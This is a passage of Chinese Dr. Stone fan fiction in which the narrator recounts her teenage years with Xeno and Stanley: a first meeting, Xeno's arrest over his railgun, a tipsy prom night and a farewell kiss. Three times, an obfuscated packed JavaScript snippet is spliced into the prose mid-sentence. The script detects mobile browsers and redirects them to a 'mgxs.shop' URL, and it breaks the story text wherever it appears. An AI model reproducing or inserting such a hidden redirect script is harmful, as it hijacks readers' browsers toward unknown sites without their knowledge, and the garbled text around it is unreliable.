《[石纪元]什么叫我发小血条亮了?》 2. 成长的烦恼(二) 7. 我们约在了快餐店。 是以往住在同一个社区时最常去的那家。 甫一下车,我便看到不远处店门口站着的两位“门童”,其中一位是我熟悉的杰诺,这次他很给面子的没有穿自己那身几乎半永久的白大褂,而是像一个真正的少年那样换上了他的T恤和牛仔裤。 至于身边那个——我挪开目光,审视这位陌生的孩子。 与杰诺的银发不同,对方有着一头靓丽的金发,除了额前留了一撮刘海外其余都梳到了后面,他的嘴里叼着一根棒棒糖,衣着略显朴素且有点不合身,浑身上下都透露着生人勿近的气息。 那人似乎也察觉到有人在看他,当即停下话头笔直地扫视过来,锐利的金绿色眼眸牢牢锁定在我身上。 我看出他有一瞬间的警惕和僵硬,继而迅速放松下来。 于是我若无其事地冲他颔首示意,和同时注意到我存在的杰诺对上视线。 “哦,她来了。” 杰诺惊喜地提高声音,冲我挥手,我同样抬起手回应,踩着一双小皮靴快步走了过去。 不得不承认,男生在青春期的暴力发育确实令人艳羡。 过去一直比我矮半头的小伙伴在将将步入青春期时便初露端倪,至今已能和我视线平齐。而另一位则更不必说,刚才站得远都能看出他比杰诺还要高出一些,自然是我们三人之中个头最高的。 思及此,我再一次打量眼前这位陌生的男孩,尽管衣服洗得发旧,但依然盖不过那出色的容貌。 我微一扬眉,没忍住开口调侃:“如果知道杰诺的新朋友如此帅气可人,我也许会更用心的打扮一番。” 对方被我这突如其来的一句话搞得莫名其妙,含糊地“嗯?”了一声。 我朝他眨眨眼,“意思是我很喜欢你这种脸蛋漂亮的男孩子,因为漂亮的人哭起来会很好看。” 杰诺不愧是我最优秀的捧场王,也或许是看在科研资金的份上,没让我这稍有些冒犯的开场白受到冷待。 他拍拍身侧人的肩膀,缓解气氛般解释:“哦斯坦,别误会,蕾西在跟你开玩笑呢。”说罢又欲盖弥彰地用手遮住嘴,冲着对方挤眉弄眼,“不过她以前确实揍哭了不少人。” “嘿!”我立刻表达了抗议,“随便议论一位淑女的过去是十分不绅士的行为,温菲尔德先生。” “我想那并不算是议论,只是朋友之间的深入了解。” 杰诺耸耸肩,毫无当面揭穿我老底的自觉,很快转向正题。 “好了蕾西,闲聊先放一边。”他随即介绍起身旁的金发男孩,“这位就是我在邮件中提到的,他叫斯坦利·斯奈德。” 名为斯坦利的男生拿掉一直含在嘴里的棒棒糖,礼貌地朝我伸出另一只手。 “幸会,你可以和杰诺一样喊我斯坦。” “很高兴认识你,斯坦,我是蕾莎·希尔文,杰诺应该同你提过我的名字,你也可以直接称呼我为蕾西。” 我回以微笑,毫不犹豫地握了上去,停留了两秒后复又松开。 这样就算是认识了。 而三人之中名字最长的某人就这么喜闻乐见地旁观这一切,神情是说不上来的轻快愉悦。 “好了,男孩们。”结束相互问候的环节,我拍拍手,转身往快餐店内走去。 “让我们进去吧,不要站在外面聊天了。” 8. 望着女孩出现在玻璃门另一边的背影,斯坦利三两下咬碎嘴里的糖果,吐出纸棍,侧头看向一旁的同伴。 他略带一丝打趣地开口:“杰诺,你的这位小青梅还挺有个性的。” 闻言,杰诺唇畔的弧度未变,一双黝黑的眼眸看不出多少情绪。 不知想到了什么,他忽的低低笑了一声,继而赞同地附和。 “我也这么觉得。” 9. 进店后,我们三人围坐在一张空桌子前,点完单便在位置上七嘴八舌地闲聊。 杰诺吐槽自己因跳级入学年龄太小而被同学们暗中孤立的经历,又谈到他和斯坦利是如何相识的,同时提及自己制作的磁轨炮只是初步完成,需要不断地改进完善,会是个长期作业。 说话间隙,服务员将我们点的餐送上了桌,杰诺被芝士汉堡堵住了嘴,终于得以歇息一阵。 而我也兴致盎然地品尝起刚才顺手点的新品甜筒,然刚触碰到味蕾,便被那甜的发腻的味道冲懵了天灵盖,顿时整个人都不好了。 “太甜了。” 我皱着脸,略有些嫌弃地将它递给对面的杰诺。 对方习以为常地接了过去,尝了一口后也被甜得感到不可思议,点头道:“确实很甜。” 斯坦利一脸古怪地看着我俩这一举动,欲言又止,虽什么也没说,却又像是把他此刻的想法都写在了脸上。 于是我们把剩下的甜筒全都怼进了对方嘴里。 10. 很好,现在我们是同被一份生化武器殴打味觉的情谊了。 11. 相较于杰诺的健谈,斯坦利则更沉默一些,不管是我和杰诺谁在说话,他都如一个安静的倾听者,只偶尔地附和几句,表达自己的看法。 从他的只言片语中,我了解到斯坦利家里有个小农场,比不上那些机械化的大型农场却也算温饱自足,远远谈不上阔绰的程度——其实这从他的衣着打扮上便足以看出部分家庭情况。 也正因拥有这样的背景,他早早就接触到枪械之类的工具,在去年的家乡射击比赛中留下了少年冠军的记录,机缘巧合下与在郊外测试电磁轨道炮的杰诺相识,并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228676|197586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮他测试磁轨炮的性能。 与他们这一文一武的二人相比,我唯一拿得出手的居然是钞能力。 我与斯坦利交换了联系方式,以至于后面每次和杰诺的见面都有斯坦利的身影,一来二去,对方与我相处时也不再那么拘谨了。 只要电波对上,同龄的孩子总是很快就能打成一片。 我们时常一起围观杰诺的科学小实验,听对方介绍自己凭借天文望远镜拍下来的星体画面,亦或者帮助他测量数据。 我往往充当全程旁观的那个,而斯坦利只是一味的遵循杰诺的指挥,指哪打哪。 唉,我不由得叹气。 斯坦利是杰诺的工具人,而我是杰诺的ATM机。 我们都有光明的未来。 12. 我度过了一段相当开心的暑假时光。 然暑假一过,我就被父亲送去了学校。 那是一所私立精英中学,里面的学生家庭非富即贵,当然也有我这样的暴发户。 父亲想让我体验正常有序的校园生活,再顺便结识一些有才能的同龄人。 众所周知,公立学校基本学不到什么有用的东西,与其说是学校,不如说那就是一个大型托儿所。 自从家里有了些资产后,父母一直很重视教育,所以绝不会再允许我再去那里浪费时间与精力。 我本来也可以像杰诺那样提前申请大学,只要有钱有推荐信,国内的绝大部分学校都能为我敞开大门,但我暂时还不想将我宝贵的青春时光提前投入到水深火热的课业中去,也不想变成被迫满嘴学术的书呆子。 正所谓,叛逆期是少年时代必不可少的一环。 十四岁那年,我交了人生中第一位男友,发现对方是个没有担当的妈宝男后,火速把男友变成了前男友。 同年,斯坦利不知跟谁学会了抽烟,也不知是从什么渠道搞到的香烟,当杰诺发现这件事情后毫不客气地提醒他不要在女士面前释放毒气,从此便再没当着我的面点烟。 而杰诺,他依然对学术一如既往的热情,甚至还在生日那天送过我一套自己组装的火箭模型。 我很喜欢,并将其安置在了家中的草坪上。 一年后,在第八次因为自己的新男友再度暴雷分手后,我几乎看破红尘决定潜心向学。 毕竟朋友会离开你,男人会背叛你,但学习不会,不会就是不会。 杰诺对我的想法表达了高度的支持与鼓励,并和斯坦利在我细数前男友们的逆天行径时极为配合地发出刻薄的评价,令我狠狠出了一口恶气,心情不再那么郁闷了。 果然这不是我的问题,都是那些前男友们在无理取闹。 虽然好像有哪里不对劲,但不重要。 总之,我们三人的友谊真是坚不可摧。 3. 成长的烦恼(三) 13. 十六岁那年,杰诺的完成版磁轨炮终于还是被有关部门发现,认为其具备充分的危险性,严厉警告并没收,发明者本人也被逮捕入狱,听候发落。 父亲告知我这件事时,我还在夏威夷岛的沙滩上晒日光浴,了解原委后我火速订了机票返程,准备去本地的拘留所看望杰诺。 尽管清楚家长们早已帮忙打点好了一切,但我去之前还是先向斯坦利那里拨去了一个电话,对方刚一接通便猜到了来电原因,并安慰我说杰诺那边的保释申请已经递交了上去,不必担心。 杰诺在拘留所里面不会有事,甚至还有心情跟好友谴责牢饭难吃,让狱警帮忙点了披萨。 ……很好,这很有杰诺的风格,真是去哪都不会让自己吃亏。 电话那头的斯坦利听到我要去探监的打算,先是沉默了片刻,随即提出陪我一同前往。 我们约好在拘留所门口见面。 远远的,我便看到街道旁伫立着一位熟悉的人影,斯坦利侧身站在树荫底下,姿态慵懒地朝半空吐着一团烟雾,支离破碎的光影闪烁在对方的脸畔,为他整个人罩上了一层朦胧的光晕。 余光瞥见我走来,斯坦利夹着烟的手指一顿,继而放到嘴边猛吸一大口后才慢条斯理地掐灭烟头,冲我点点头,涂着烟紫色唇彩的嘴唇勾起一个礼貌的弧度。 说实在的,我和斯坦利很少有这样单独见面的情况,他的身边常伴随着杰诺的存在,而我又是杰诺的青梅竹马,我们二人完全是通过杰诺才建立的联系,往往相见时便是三人一起。 一旦杰诺不在现场,那我和斯坦利几乎毫无见面的理由,说是最熟悉的陌生人也不为过。 比起我的不自在,对方倒是看起来坦荡极了,还有闲心问我在夏威夷玩得高兴吗。 吓都快吓死了,哪还有那个心情,我在心底想。 不过刚去的前两天确实还挺开心的,还给他们二人买了伴手礼,可惜从家中离开的时候太匆忙,什么也没带,只能等下次了。 于是我含糊其辞地回应了几句,转而便把话题移到杰诺遭到逮捕当天的情况。 斯坦利跟我说,当时他也没料到警察会突然闯进来,暴力地将杰诺反手扣住,他想要阻止却差点被枪抵住脑袋,只能眼睁睁看着杰诺在路人的围观下坐上警车,扬长而去。 而那台磁轨炮设备也被缴走,大概率是回不来了。 “人没事就好。”我悻悻道。 尽管杰诺有时是大胆了一点,但他的研发没有伤害到任何一人,加上还是未成年,所以只会从轻发落,估计很快便能从拘留所里全须全尾地出来。 思及此,我又有些不满地谴责斯坦利莽撞的行为,“你也真是的,这太危险了,你就不怕警察直接给你一枪吗?我可不想外出回来就接到噩耗,多少也为我考虑一下吧?” 对面人的个头已经很高了,目测将近一米八,听人说话时会微垂着眼看来,金绿色的眸子一派平静,显得有几分专注。 只听斯坦利朝我轻轻嗯了一声,用还算诚恳的语气回道:“抱歉,下次不会了。” 我的天呐,他还想有下次。 而且不知道是不是错觉,这人似乎还在笑,这么严肃的事情到底哪里好笑啦。 料想对方根本没把我的话放在心上,终究还是无奈地摇了摇头。 “你们两个……真是没一个让人省心的!” 14. 因为有提前预约,我们在拘留所里顺利见到了杰诺——隔着一层玻璃板。 杰诺穿着一身橙黄色的囚服坐在玻璃板的另一边,对我们的到来并不感到意外,想必他早就猜到探视的人会是谁。 他拿起电话,开口的第一句便是:“夏威夷的风景怎么样?” 没有对自身处境的抱怨,也没有对研发成果被没收的愤慨,他的声音极为从容平静,仿佛此刻被拘留的人不是自己。 但我清楚杰诺这是变相地在向我表达平安无事的讯号,而我确实也因他的这番话安下心来,心中那颗始终悬在半空的石头终于得以落地。 “还不错,可惜托某人的福没能多欣赏几天。”我将那点忧虑压下,若无其事地调侃出声,“我还买了一些当地的纪念品,不过你的那份只能等出来后再给你咯。” 杰诺的唇角微微上扬,似乎也对自己能获得礼物而感到高兴。 “哦,那可真是令人期待。” 简单寒暄几句便切入正题,毕竟探视的时间不会因谁而特殊破例,考虑到斯坦利可能也有与杰诺交谈的意愿,所以我并不准备一直霸占着听筒不放。 相较于我表现出的关心,杰诺反而是更无所谓的那一个,尽管清楚他不会勉强自己装作无事发生,可我在结束通话前还是为对方现在的住宿环境感到堪忧。 “虽然在美利坚,平均每两个人中就会有一个被关押过,但果然这种事情还是让人无法习惯,毕竟这里鱼龙混杂,某种意义上还挺危险的,你要注意安全啊。” 本质是希望他多加谨慎,避免与人产生冲突,否则监狱里可没有自己和斯坦利这样能无条件维护他、替他反击的人存在。 然而当事人却完全没有体会到我的良苦用心,谈起这个话题时,神情中还夹杂着一丝轻蔑。 “我同意你的说法,生活在这样一个一点也不雅致的地方,还要面对一群大脑皮层光滑到没有一丝褶皱的猴子,确实对我的智商构成了威胁。” “……你快少说两句吧,我怕你回去被狱友打。” 我面无表情地让杰诺闭嘴,毫不怀疑他舔一口嘴唇能把自己毒死。 15. 斯坦利扭头看向站在不远处的那个身影,确认对方所站的位置听不清自己说话才默然收回视线。 甫一将听筒贴在耳边,便见好友那副温和的假面一瞬收敛,黑色的眼瞳里流露出些许阴鸷。 杰诺沉声开口。 “斯坦,我已经知道那个检举我的家伙是谁了。” 闻言,斯坦利漫不经心地抬眼,“需要我帮忙么?” “不,这点小事我自己就能处理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228677|197586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我会让他付出代价的。” 似是想到了什么,杰诺握着听筒的手缓缓收紧,隐约可见其上突起的青筋,另一手则撑着额头,在眼前投下一片骇人的阴翳。 “那群只看得见眼前利益的蠢货,根本不懂科学的优雅之处,一味地活在自己愚昧的偏见里,简直不可理喻。”他竭力压制自己内心的不忿,声音如从牙缝中挤出那般,“这次是我大意了,今后绝不会再让这样的事情发生,我讨厌这种受制于人的感觉。” 斯坦利没有说话,他心知现在的杰诺需要宣泄情绪,同时也清楚对方不会让自己被情绪左右太久。 他向来是个冷静理智的人。 不出意料的,杰诺很快平复心情,神色如常地端坐在座位上,仿若无事发生。 他偏过头,目光绕开好友落在某个方向,静默半晌才出声道:“斯坦,我不在的这几天就麻烦你多看顾蕾西了。” 斯坦利不置可否,“她的家人将她保护得很好,不需要我操心。” “也是,希尔文先生虽然醉心于事业,但对于女儿身边发生的一切可是格外上心。” 说话间,杰诺的指尖缓慢而规律地敲击桌板,脸上挂着若有所思的笑容。 “然而蕾西可不是温室里的花朵,她有自己的想法,不是么?” “显而易见。” 斯坦利笑了笑,肯定了对方的评价,转而又瞥了眼墙上的挂钟,问道:“还有什么话需要我转达吗?快到时间了。” “不必。” 杰诺表情意味深长地婉拒了他的提议,用一句话结束了这次探视。 “因为我们很快就能再会。” 16. 杰诺没蹲两天便被从拘留所放了出来。 由于此事留下了前科,警方见多了这种灵机一动还破坏性极强的问题少年,生怕他回去了也不安分,强制其签下保证协议确保成年前都必须在社区的监管中行动才同意放行,之后若想要再私自研究什么擦边的违规实验估计是没可能了。 不论如何,至少结果是好的。 可是……总感觉有什么在悄然改变。 我握住杰诺的手,仰起脸专注地盯着他的眼睛,那双漆黑如墨的眼眸不再如幼时那般纯粹明亮,仿佛时刻闪烁着对科学的热忱之光,而是更添了一些别的我看不懂的东西。 像深沉的漩涡,像平静的海底,像一切我无法触及又暗流涌动的存在。 我已经许久没有这样仔细观察过杰诺的眼睛了。 “怎么了?” 耳边响起少年疑惑的声音,顷刻间将我的思绪拉回现实,当再次看向他的双眼时,却发现那里早已恢复以往的神采,好似刚才看到的都是错觉。 真的是错觉吗? 感受到掌心温热的触感,我缓缓扣住杰诺的手指,没再往下深究。 “没什么,只是突然很想看看你。” 说罢,我无声地张开手臂抱住面前的人,将脑袋贴在对方的肩头,嘴唇嗫嚅。 “……欢迎回来,杰诺。” 4. 成长的烦恼(四) 17. 美国人的学生时代总是逃不过各种各样的舞会活动。 而毕业舞会便是其中最重要的派对之一。 由于私立中学管理严格,禁止外校人进入,因而我只是很普通地选择了一名毛遂自荐的学弟当我的舞会男伴。 其实没有舞伴也无甚影响,都是要毕业的人了,根本不必在乎其他同学的看法,但送上门的工具人不要白不要,看在学弟笑起来还挺可爱的份上,我便欣然笑纳了。 学弟很开心,我也很开心。 我们各怀心思地参加了这场舞会。 舞会的场地被安排在校外一家高档酒店里的宴会厅,学生们从家里换好礼服化好妆便可以直接乘车去往目的地,而我也在酒店门口见到了穿着一身白色西服翘首以盼的学弟,他身边正站着几名和我关系不错的同学。 见我到来,同学们忙上前围着我叽叽喳喳地说话,又拉着我拍了几张照片发到了社交平台后才各自挽着舞伴走进了大门。 说实话,舞会其实蛮无聊的,拍完集体合照,跳完开场舞后便能自由活动,但后半场往往会变成一边喝酒一边蹦迪的娱乐项目。 没错,是喝酒。 即使法律规定二十一岁以下的公民禁止饮酒,可还是无法阻止年轻人蠢蠢欲动的小心思,以至于在这次集体活动中,有人胆大妄为地将家里的藏酒偷带出来给大家尝鲜,于是众人便兴致勃勃地干起了花式调酒的勾当,然后再热情地分发给其他同学,拉所有人当共犯。 我自然也被分到了一杯以白兰地为基底的鸡尾酒。 这不是我第一次摄入酒精,毕竟谁还没背着父母干过什么出格的事呢? 不过在享受这杯酒之前我先找了一个空位置坐下,以便让自己因穿高跟鞋跳舞而发痛的后脚跟得到片刻的休息。 我悄悄揉捏自己的脚踝,心中感慨不愧是美丽刑具,如果不是场合不对,我真想当场脱下鞋子解放双脚。 在这期间,这位工具人学弟一直对我关怀备至,还十分绅士地主动去自助区拿了些点心过来,就是为了避免我走路,可以多休息一会儿。 我端详着他浅金色的微卷发和那双湿润深情的棕色眼眸,对这人怀着什么心思其实心知肚明。 但我选择了视而不见。 就在我心底对此感到无趣时,我的手机响了。 清脆的短信提示音打断了我的思绪,也驱散了那略微旖旎的气氛。 我从随身携带的手提包里掏出手机,摁亮屏幕。 18. Xeno:几点结束?我和斯坦来接你。 19. 是杰诺发来的消息。 短短两句话便令我不由得睁大双眼,心情顿时美妙起来,当即将烦躁的情绪抛到九霄云外去了。 我立刻打字回了一个好,并说明了自己准备离开的时间,这才美滋滋地将手机放回包内,把杯底剩余的酒液一饮而尽。 许是我脸上愉悦的神色太过明显,学弟不禁好奇地投来视线,却很有礼貌地没有出声询问。 这毕竟是我的隐私,而我也的确没有告知他的必要。 于是我若无其事地转移了话题,用故作亲昵的口吻支使起面前的小学弟,“哦甜心,可以帮我再倒一杯酒吗?” 对于这些满是英雄情结的未成年男孩,这个称呼的杀伤性不是一般的强——尽管我并不承认其实是自己一时忘记了他的名字。 总之,学弟轻而易举地就被我这番话哄得心花怒放,自认为帅气地冲我单膝蹲下接过空酒杯,道了句“我的荣幸,女士。”随即乐颠颠地去往了吧台。 ……小男生的心思真是太好懂了。 我在心底如是想。 20. 直至舞会结束,我大概灌了四杯酒。 即使调制鸡尾酒的度数并不算很高,但四杯下肚依然令我感到些许晕眩,醉意开始上涌。我不敢再多喝,看了眼时间便准备离开现场,学弟见状也搀护着我走出宴会厅。 夜晚凉爽的风扑面而来,冷得我没忍住打了个哆嗦,脸上的热意似乎也被风吹散了些,我这才将多余的注意力放在那又开始疼痛的双脚上。 光是从宴会厅到门口的这几步路,便使人感受到一股譬如在刀尖上行走的痛苦,并非难以忍受却格外艰辛。 我自嘲地想,童话里获得双腿的美人鱼每天过的大抵就是这样的生活。 早知会如此狼狈,我就不穿这么细的鞋跟了。 “蕾西。” 一声低沉的呼唤透过周围嘈杂的环境径直传进我的耳朵里。 我循声望去,映入眼帘的是斯坦利倚靠在栏杆旁的身影,对方穿着一身与周围人格格不入的皮夹克和牛仔裤,即使是在夜晚,也无法掩盖其那昳丽的样貌和极具攻击性的气质,因而吸引了不少偷偷打量的目光。 而当事人视若无睹。 只见斯坦利的视线短暂地将我从头到脚扫了一遍,紧接着落到扶着我肩侧的那只手上,唇角微微下压了几分,最后才吝啬地施舍给我身边的学弟一个眼神。 我清晰地捕捉到他看向学弟时那一瞬闪过的不悦。 许是被那锋利的眼神吓到,学弟下意识放开了我,站在原地不知该如何是好。 “别害怕,是我的朋友来接我了。”我笑了笑,拍拍他的肩膀以作安慰,“谢谢你送我出来,我就先回去了,以后有时间再约~” 说罢,我踮起脚尖快步走下楼梯,本意是想牵住对方的手,哪知脚下一个踉跄,直接一头扎进了来人怀里。 斯坦利没再关注那些无关紧要的事物,而是眼疾手快地接住了我的身体,并顺势揽过我的腰。 我也旁若无人地勾住他的脖子,斜倚在他的臂弯中,语气都有些荡漾。 “斯坦~怎么只有你一人,杰诺呢?” “他在车里等着我们。” 低头嗅见我身上散发的酒气,斯坦利蹙眉道:“你这是喝了多少?” 我伸出四根手指,“不多,就四杯,嘿嘿。” “……呵,醉鬼,小心明天头疼。” 听到这句话我登时不乐意了,我坚信自己酒量还不错,只是多少酒劲上头,但还没到醉得一塌糊涂认不清东南西北的程度。 因而我不满地抗议道:“你怎么好意思说我?你刚才肯定是抽烟了吧,我闻到你身上的烟味了!” 斯坦利眼都不眨地反驳:“我提前掐灭了,所以不算。” “哼,反正就是抽了,我要跟杰诺老师告状~” 我仿佛抓到他的小辫子那般洋洋得意,伸出手指轻点了下面前人的胸口,然后得到斯坦利一个饱含“懒得跟耍酒疯的人计较”意味的白眼。 还不等我幸灾乐祸,脚掌的疼痛又在无时无刻彰显着存在感,我迈出的步伐一顿,疼得没忍住嘶了一声。 发觉我脸色不对,斯坦利停住脚步,继而垂眼,目标明确地端详起我脚下踩着的那双恨天高。 他问道:“脚很痛?” “嗯…是有点,反正舞会都结束啦,回去就把它脱掉。” 我觑着他思忖的神情,颇为心虚地将鞋子往裙摆里藏了藏,试图蒙混过关。 “别动。” 斯坦利蓦地出声阻止,紧接着我身体一轻,整个人被打横抱了起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228678|197586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 21. 我双手环住斯坦利的肩颈,笑得格外开怀,离开人群的时候简直堪称万众瞩目。 一路上,我无视了同学们探寻的目光,也无视了小学弟那几乎心碎的脸,直至来到斯坦利的车前,我仍旧保持着异常高涨的情绪。 在毕业前大出了一回风头,我真是爱死这种感觉了。 酒精成为了放纵自我的催化剂,当我被斯坦利塞进后车座,迎面撞上杰诺审视的眼神时,也丝毫没有什么难为情的念头。 “杰诺,这醉鬼就交给你了,我可不敢把她放在副驾驶位上。”斯坦利无奈地抓了抓头发,说完便关上后车门,随即坐进了驾驶座。 耳边是汽车引擎发动的轰鸣声,便见面前人放下手中的书籍,顶灯的暖光从上投射而来,令他那随着年龄越发棱角分明的面部线条都柔和了几分。 可说出的话却给我当头一击。 “Ms.蕾莎,我想我应该跟你详细阐述过,酒精在肝脏代谢中产生的乙醛是一种非常不雅致的一级致癌物,它会在你的细胞内诱发氧化应激和DNA损伤。而你此刻的亢奋,不过是乙醇压制前额叶、过度刺激奖励中枢的结果,等多巴胺被透支完毕,你将面临的是神经疲劳和抑郁风险……过量饮酒并非健康的选择不是吗?” 杰诺语速极快且咬字清晰,二话不说便拿一通听不太懂的学术理论砸了过来,我明显听出来他这是有些生气了。 “别念了别念了,我这次真没多喝!”我忙捂住耳朵当缩头乌龟,哪还有先前的嚣张气焰,“斯坦利也在外面抽烟了,你不能只说我一人!” “喂喂,你家杰诺老妈子平日可没少念叨我,不需要你再帮忙提醒。” 前座握着方向盘认真开车的斯坦利拒绝了我胡乱攀扯的行为,在对上车内后视镜里好友轻飘飘望来的一眼后,他瞬间闭嘴了。 噫,杰诺老师的淫威恐怖如斯。 22. 我摸索着解下鞋扣,一脚踢开折磨了自己一天的罪魁祸首,屈起腿缩在后座的沙发椅间。 我小心翼翼地挪到杰诺身侧,伸手抱了上去,对方衣领处淡淡的化学试剂的味道萦绕在鼻尖,给人一种莫名的安心感。 后知后觉的疲惫渐渐袭上心头,我开始不受控制地感到困倦,眼皮还在负隅顽抗。 而这时,杰诺略显生硬的嗓音复又在我耳旁响起,宛若睡前夺命的催眠曲。 “我认为你现在最需要做的是打开车窗呼吸新鲜空气,尽快挥发掉体内残余的酒精,而不是像个树袋熊一样挂在我身上。” 这可真是扫兴的言论,我故意将脸埋在他衣服里拱了拱,发出不情愿的哼哼声。 被抱住的人诡异地沉默了几秒,疑似拿我的无理取闹没招了。 “你……” 杰诺似是还想再开口,可惜我现在困得要命,实在是不想从他嘴里再听见那些长篇大论的说教,我决定做些什么。 我想,酒精确实会影响人的思考判断和行为逻辑,这句话一点没错。 我毫无预兆地抬起头,前倾身体,在他惊愕的注视下干脆利落地堵住了他的唇,又一触即离。 世界终于安静了。 我可以睡个好觉了。 23. 我心满意足地靠在对方身上沉沉睡去,至于被作弄的当事人心底会怎么想,我并不在乎。 头顶的灯光被悄然灭掉,四周顿时陷入一片黑暗。 街道两旁霓虹闪烁,照亮了前方的路,也清晰地映照出车内二人沉静的面容。 淡淡的夜色中,无人言语,唯有汽车行驶的白噪音悠悠回荡在车厢内。 5. 成长的烦恼(五) 24. 至于第二天醒来真的感觉头痛而苦哈哈地吃药那就是另一回事了。 总之,我的高中生涯彻底结束,可以着手大学相关事宜了。 本来我有考虑过休完间隔年再去大学报道,但想来父母那边不会让我过得那么轻松,再者也没什么必要,家里早已替我做好了规划。 如杰诺那般,我也选择了本地的一所大学,按部就班地申请并通过,然后入学。 有之前私教课的打底,大学的课业对我来说并不算难以理解,除了专业课程的学习外,课余时间我也会经营自己的兴趣爱好,在视频网站发布一些日常vlog,意外的有了一些粉丝基础和额外的收入来源。 我的生活似乎与以往没什么不同。 ……不对,还是有变化的。 正所谓,关系再要好的朋友总有一天也要为了生活各奔东西,我如今面临的就是此般现状。 在相同的年纪里,我升入大学继续学业,杰诺拿到了NASA的offer,在为之后的入职做准备,而斯坦利决定参军——介于他以前参加过本地的童子军夏令营,这个结果我毫不意外。 三个人,三种不同的选择,指向三条迥异的人生轨迹。 斯坦利是最先告别的,他需要在今年四月份去空军训练基地报道,进行长达数月的封闭式训练。 训练期间无法回家,通讯也受到限制,仅能用书信告知“一切安好”。 这一年的圣诞节只有我和杰诺两人度过,尽管斯坦利不在现场,但我们依然将准备好的圣诞礼物给他寄了过去。 当前的局势仍旧混乱,海外邮件优先,以至于包裹在路上硬生生走了三周才送到。 我裹着毛毯坐在杰诺的身侧,表情恹恹地翻看手中的信件,除了惯例报平安的内容和表明收到礼物的回复外几乎没什么多余的寒暄。 不过好在这次随信的还有一张照片。 照片里的斯坦利穿着日常便服,头发剪得极短,以至于那向来顽强的一撇刘海都仅剩可怜的一小截,只见他笑容满面地看向镜头,露出腕处佩戴的卡西欧G-SHOCK手表——那是我送给他的圣诞节礼物。 看起来在基地确实过得还不错,可我也清楚,以现在的局势,斯坦利早晚有一天会去战场。 “斯坦他会平安归来的对吗?” 闻言,杰诺垂眸朝我投来一眼,视线从面前大部头的资料书落在斯坦利寄来的信件上,停留片刻后又收了回去。 他端起咖啡杯放在嘴边抿了一口,温声道:“当然,斯坦的能力我们有目共睹,他说过可以那就一定能做到。” “嗯。”我缓慢地点了点头,泄气似的一歪身体靠在杰诺身上,内心还是感到些许怅然。 “斯坦走了,很快你也要离开这里,就只有我一人留在波士顿。” 习惯相遇和离别,或许这就是成年人的必修课。 尽管早已意识到这一点,但此去相隔半个美利坚,往来不便,还是会有所不舍。 毕竟我和斯坦利认识了八年,和杰诺更是认识了十三年,后来的朋友中再也没有比他们与我关系更亲密的了,已然成为我生命中除了父母之外最重要的存在。 杰诺对我莫名其妙的多愁善感没作过多表示,只一味地注视着手里的书,嘴上漫不经心地开口,夹杂着一丝调侃的语气。 “波士顿和休斯顿的时差只有一小时,如果你十分不幸的半夜失眠了,可以跟我打电话。” “……青春靓丽的女大学生才不会失眠,你不要诅咒我。” 我真是太佩服杰诺这张嘴了,一句话便打消了我所有的郁闷,简直堪称立竿见影,我甚至还能听见身侧传来对方轻轻的闷笑声。 哈,居然嘲笑我。 许久不出手怕不是忘记了我曾经公园一霸的名头,我要让他见识一下蕾莎大王的厉害。 于是我将毛毯一掀,把来不及反应的杰诺直接扑倒在沙发上。 嬉闹声中,白花花的信纸散落一地。 25. 说实在的,随着年龄的增长和体格的变化,我已经无法再像孩时那般轻易将杰诺玩笑一样地推倒在地。 所以当被他反身压过来的时候完全在我的意料之内。 他沉默凝视着我,而我也回望他那双幽深的黑色眼眸,试图从里面寻找出什么。 但我失败了。 我已经读不懂他的想法了。 我突然感到有些沮丧,下意识别开了视线,不愿去看他。 这时,杰诺的手却忽的抚上我的脸颊,将我的脸掰了回去,我微微讶异,但还是顺着他的动作与他再次对上目光。 这次我看懂了他眼神里的含义。 我们谁都没有说话,一切又尽在不言中。 仿佛得到默许,杰诺的嘴唇顺理成章地压了下来,我仰起脸闭上眼与他接吻,手指紧张地揪住了对方胸口处的衣服。 面前人的唇瓣略薄,贴上来时却很温热柔软,泛着一点咖啡的苦涩,我尝试着回应,换来的却是更加用力的吮吻,简直像要将我的灵魂抽走了似的。 酥麻感从尾椎处一路窜上天灵盖,我浑身发软,泄了力般瘫坐在沙发的靠枕间,松散的红发在周身铺展开来,如一朵盛放的花。 杰诺的手穿过我的发丝,按住后颈,直把我亲得晕头转向,几乎要跟不上他的节奏。 我迷迷糊糊地想,难道天才就连接吻也能无师自通吗? 这个世界对普通人真是太不友好了。 不知过了多久,也许没有很久,杰诺从我的唇上离开,我喘息着睁开眼,还没缓过神来去仔细观察他脸上此刻的神情,便又被抱了个满怀。 对方紧紧搂住我的身体,附耳呢喃。 “记得联系我。” 26. 那是我和杰诺的第二次亲吻。 27. 